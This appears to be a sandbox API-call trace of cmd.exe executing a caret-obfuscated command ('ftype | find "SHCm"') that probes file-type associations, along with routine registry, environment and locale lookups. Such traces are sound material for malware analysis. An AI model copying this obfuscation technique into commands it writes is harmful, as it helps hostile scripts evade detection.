	[0056.200] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x0, lpData=0x24ea00*=0x40, lpcbData=0x24e9e4*=0x1000) returned 0x2
	[0056.200] RegCloseKey (hKey=0x44) returned 0x0
	[0056.201] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e9e8 | out: phkResult=0x24e9e8*=0x44) returned 0x0
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x0, lpData=0x24ea00*=0x40, lpcbData=0x24e9e4*=0x1000) returned 0x2
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x1, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x0, lpData=0x24ea00*=0x1, lpcbData=0x24e9e4*=0x1000) returned 0x2
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x0, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x9, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x4, lpData=0x24ea00*=0x9, lpcbData=0x24e9e4*=0x4) returned 0x0
	[0056.201] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e9e0, lpData=0x24ea00, lpcbData=0x24e9e4*=0x1000 | out: lpType=0x24e9e0*=0x0, lpData=0x24ea00*=0x9, lpcbData=0x24e9e4*=0x1000) returned 0x2
	[0056.201] RegCloseKey (hKey=0x44) returned 0x0
	[0056.201] time (in: timer=0x0 | out: timer=0x0) returned 0x5be14a4b
	[0056.201] srand (_Seed=0x5be14a4b) 
	[0056.201] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c  ^f^t^Yp^e | ^f^IN^d \"SHCm\" "
	[0056.201] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c  ^f^t^Yp^e | ^f^IN^d \"SHCm\" "
	[0056.201] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.201] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x398c60, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0056.201] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91
	[0056.201] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.201] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0056.201] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0056.202] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0056.202] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0056.202] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0056.202] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0056.202] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0056.202] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0056.202] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0056.202] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0056.202] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0056.202] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f7f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.202] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x24f7f0, lpFilePart=0x24f7d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x24f7d0*="Desktop") returned 0x19
	[0056.202] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.202] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x24f500 | out: lpFindFileData=0x24f500) returned 0x398ab0
	[0056.202] FindClose (in: hFindFile=0x398ab0 | out: hFindFile=0x398ab0) returned 1
	[0056.202] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x24f500 | out: lpFindFileData=0x24f500) returned 0x398ab0
	[0056.202] FindClose (in: hFindFile=0x398ab0 | out: hFindFile=0x398ab0) returned 1
	[0056.202] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x24f500 | out: lpFindFileData=0x24f500) returned 0x398ab0
	[0056.202] FindClose (in: hFindFile=0x398ab0 | out: hFindFile=0x398ab0) returned 1
	[0056.203] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11
	[0056.203] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1
	[0056.203] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1
	[0056.203] GetEnvironmentStringsW () returned 0x398e70*
	[0056.203] FreeEnvironmentStringsW (penv=0x398e70) returned 1
	[0056.203] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49e7c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19
	[0056.203] GetConsoleOutputCP () returned 0x1b5
	[0056.203] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49e7bfe0 | out: lpCPInfo=0x49e7bfe0) returned 1
	[0056.203] GetUserDefaultLCID () returned 0x409
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49e77b50, cchData=8 | out: lpLCData=":") returned 2
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f900, cchData=128 | out: lpLCData="0") returned 2
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f900, cchData=128 | out: lpLCData="0") returned 2
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f900, cchData=128 | out: lpLCData="1") returned 2
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49e8a740, cchData=8 | out: lpLCData="/") returned 2
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49e8a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49e8a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49e8a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49e8a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49e8a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49e8a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49e8a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49e77b40, cchData=8 | out: lpLCData=".") returned 2
	[0056.204] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49e8a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0056.204] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0056.205] GetConsoleTitleW (in: lpConsoleTitle=0x398ee0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.205] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000
	[0056.205] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0
	[0056.205] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290
	[0056.205] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0
	[0056.206] _wcsicmp (_String1="ftYpe", _String2=")") returned 61
	[0056.206] _wcsicmp (_String1="FOR", _String2="ftYpe") returned -5
	[0056.206] _wcsicmp (_String1="FOR/?", _String2="ftYpe") returned -5
	[0056.206] _wcsicmp (_String1="IF", _String2="ftYpe") returned 3
	[0056.206] _wcsicmp (_String1="IF/?", _String2="ftYpe") returned 3
	[0056.206] _wcsicmp (_String1="REM", _String2="ftYpe") returned 12
	[0056.206] _wcsicmp (_String1="REM/?", _String2="ftYpe") returned 12
	[0056.206] _wcsicmp (_String1="FOR", _String2="fINd") returned 6
	[0056.206] _wcsicmp (_String1="FOR/?", _String2="fINd") returned 6
	[0056.206] _wcsicmp (_String1="IF", _String2="fINd") returned 3
	[0056.206] _wcsicmp (_String1="IF/?", _String2="fINd") returned 3
	[0056.206] _wcsicmp (_String1="REM", _String2="fINd") returned 12
	[0056.206] _wcsicmp (_String1="REM/?", _String2="fINd") returned 12
	[0056.207] _pipe (in: _PtHandles=0x39ae20, _PipeSize=0x0, _TextMode=32768 | out: _PtHandles=0x39ae20) returned 0
	[0056.207] _dup (_FileHandle=1) returned 5
	[0056.208] _dup2 (_FileHandleSrc=4, _FileHandleDst=1) returned 0
	[0056.208] _close (_FileHandle=4) returned 0
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="START") returned -13
	[0056.208] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="DIR") returned 2
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="ERASE") returned 1
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="DEL") returned 2
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="TYPE") returned -14
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="COPY") returned 3
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="CD") returned 3
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="CHDIR") returned 3
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="RENAME") returned -12
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="REN") returned -12
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="ECHO") returned 1
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="SET") returned -13
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="PAUSE") returned -10
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="DATE") returned 2
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="TIME") returned -14
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="PROMPT") returned -10
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="MD") returned -7
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="MKDIR") returned -7
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="RD") returned -12
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="RMDIR") returned -12
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="PATH") returned -10
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="GOTO") returned -1
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="SHIFT") returned -13
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="CLS") returned 3
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="CALL") returned 3
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="VERIFY") returned -16
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="VER") returned -16
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="VOL") returned -16
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="EXIT") returned 1
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="SETLOCAL") returned -13
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="ENDLOCAL") returned 1
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="TITLE") returned -14
	[0056.209] _wcsicmp (_String1="ftYpe", _String2="START") returned -13
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="DPATH") returned 2
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="KEYS") returned -5
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="MOVE") returned -7
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="PUSHD") returned -10
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="POPD") returned -10
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="ASSOC") returned 5
	[0056.210] _wcsicmp (_String1="ftYpe", _String2="FTYPE") returned 0
	[0056.210] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0056.210] _wcsnicmp (_String1="C:\\W", _String2="cmd ", _MaxCount=0x4) returned -51
	[0056.210] SetErrorMode (uMode=0x0) returned 0x8001
	[0056.210] SetErrorMode (uMode=0x1) returned 0x0
	[0056.210] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\.", nBufferLength=0x208, lpBuffer=0x3996d0, lpFilePart=0x24f460 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24f460*="system32") returned 0x13
	[0056.210] SetErrorMode (uMode=0x8001) returned 0x1
	[0056.211] NeedCurrentDirectoryForExePathW (ExeName="C:\\Windows\\system32\\.") returned 1
	[0056.211] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49e6f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0056.215] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0056.215] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\cmd.exe", fInfoLevelId=0x1, lpFindFileData=0x24f1d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f1d0) returned 0x399800
	[0056.215] FindClose (in: hFindFile=0x399800 | out: hFindFile=0x399800) returned 1
	[0056.215] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2
	[0056.215] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3
	[0056.215] GetConsoleTitleW (in: lpConsoleTitle=0x24f720, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b
	[0056.216] InitializeProcThreadAttributeList (in: lpAttributeList=0x24f4d8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x24f498 | out: lpAttributeList=0x24f4d8, lpSize=0x24f498) returned 1
	[0056.216] UpdateProcThreadAttribute (in: lpAttributeList=0x24f4d8, dwFlags=0x0, Attribute=0x60001, lpValue=0x24f488, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x24f4d8, lpPreviousValue=0x0) returned 1
	[0056.216] GetStartupInfoW (in: lpStartupInfo=0x24f5f0 | out: lpStartupInfo=0x24f5f0*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x5c, hStdError=0xb)) 
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0056.216] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0056.217] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0056.217] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0056.217] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0056.217] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0056.217] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20
	[0056.217] lstrcmpW (lpString1="\\cmd.exe", lpString2="\\XCOPY.EXE") returned -1
	[0056.218] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x24f510*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \"", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x24f4c0 | out: lpCommandLine="C:\\Windows\\system32\\cmd.exe  /S /D /c\" ftYpe \"", lpProcessInformation=0x24f4c0*(hProcess=0x64, hThread=0x58, dwProcessId=0xb40, dwThreadId=0xb44)) returned 1
	[0056.222] CloseHandle (hObject=0x58) returned 1
	[0056.222] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0056.222] GetEnvironmentStringsW () returned 0x39bde0*
	[0056.222] FreeEnvironmentStringsW (penv=0x39bde0) returned 1
	[0056.222] DeleteProcThreadAttributeList (in: lpAttributeList=0x24f4d8 | out: lpAttributeList=0x24f4d8) 
	[0056.222] _get_osfhandle (_FileHandle=3) returned 0x54
	[0056.222] DuplicateHandle (in: hSourceProcessHandle=0x64, hSourceHandle=0x54, hTargetProcessHandle=0x0, lpTargetHandle=0x0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x1 | out: lpTargetHandle=0x0) returned 1
	[0056.222] _dup2 (_FileHandleSrc=5, _FileHandleDst=1) returned 0
	[0056.223] _close (_FileHandle=5) returned 0
	[0056.223] _dup (_FileHandle=0) returned 4
	[0056.223] _dup2 (_FileHandleSrc=3, _FileHandleDst=0) returned 0
	[0056.223] _close (_FileHandle=3) returned 0
	[0056.223] _wcsicmp (_String1="fINd", _String2="DIR") returned 2
	[0056.223] _wcsicmp (_String1="fINd", _String2="ERASE") returned 1
	[0056.223] _wcsicmp (_String1="fINd", _String2="DEL") returned 2
	[0056.223] _wcsicmp (_String1="fINd", _String2="TYPE") returned -14
	[0056.223] _wcsicmp (_String1="fINd", _String2="COPY") returned 3
	[0056.223] _wcsicmp (_String1="fINd", _String2="CD") returned 3
	[0056.223] _wcsicmp (_String1="fINd", _String2="CHDIR") returned 3
	[0056.223] _wcsicmp (_String1="fINd", _String2="RENAME") returned -12
	[0056.223] _wcsicmp (_String1="fINd", _String2="REN") returned -12
	[0056.224] _wcsicmp (_String1="fINd", _String2="ECHO") returned 1
	[0056.224] _wcsicmp (_String1="fINd", _String2="SET") returned -13
	[0056.224] _wcsicmp (_String1="fINd", _String2="PAUSE") returned -10
	[0056.224] _wcsicmp (_String1="fINd", _String2="DATE") returned 2
	[0056.224] _wcsicmp (_String1="fINd", _String2="TIME") returned -14
	[0056.224] _wcsicmp (_String1="fINd", _String2="PROMPT") returned -10
	[0056.224] _wcsicmp (_String1="fINd", _String2="MD") returned -7
	[0056.224] _wcsicmp (_String1="fINd", _String2="MKDIR") returned -7
	[0056.224] _wcsicmp (_String1="fINd", _String2="RD") returned -12
	[0056.224] _wcsicmp (_String1="fINd", _String2="RMDIR") returned -12
	[0056.224] _wcsicmp (_String1="fINd", _String2="PATH") returned -10
	[0056.224] _wcsicmp (_String1="fINd", _String2="GOTO") returned -1
	[0056.224] _wcsicmp (_String1="fINd", _String2="SHIFT") returned -13
	[0056.224] _wcsicmp (_String1="fINd", _String2="CLS") returned 3
	[0056.224] _wcsicmp (_String1="fINd", _String2="CALL") returned 3
	[0056.224] _wcsicmp (_String1="fINd", _String2="VERIFY") returned -16
	[0056.224] _wcsicmp (_String1="fINd", _String2="VER") returned -16
	[0056.224] _wcsicmp (_String1="fINd", _String2="VOL") returned -16
	[0056.224] _wcsicmp (_String1="fINd", _String2="EXIT") returned 1
	[0056.224] _wcsicmp (_String1="fINd", _String2="SETLOCAL") returned -13
	[0056.224] _wcsicmp (_String1="fINd", _String2="ENDLOCAL") returned 1
	[0056.224] _wcsicmp (_String1="fINd", _String2="TITLE") returned -14
	[0056.224] _wcsicmp (_String1="fINd", _String2="START") returned -13
	[0056.224] _wcsicmp (_String1="fINd", _String2="DPATH") returned 2
	[0056.224] _wcsicmp (_String1="fINd", _String2="KEYS") returned -5
	[0056.224] _wcsicmp (_String1="fINd", _String2="MOVE") returned -7
	[0056.224] _wcsicmp (_String1="fINd", _String2="PUSHD") returned -10
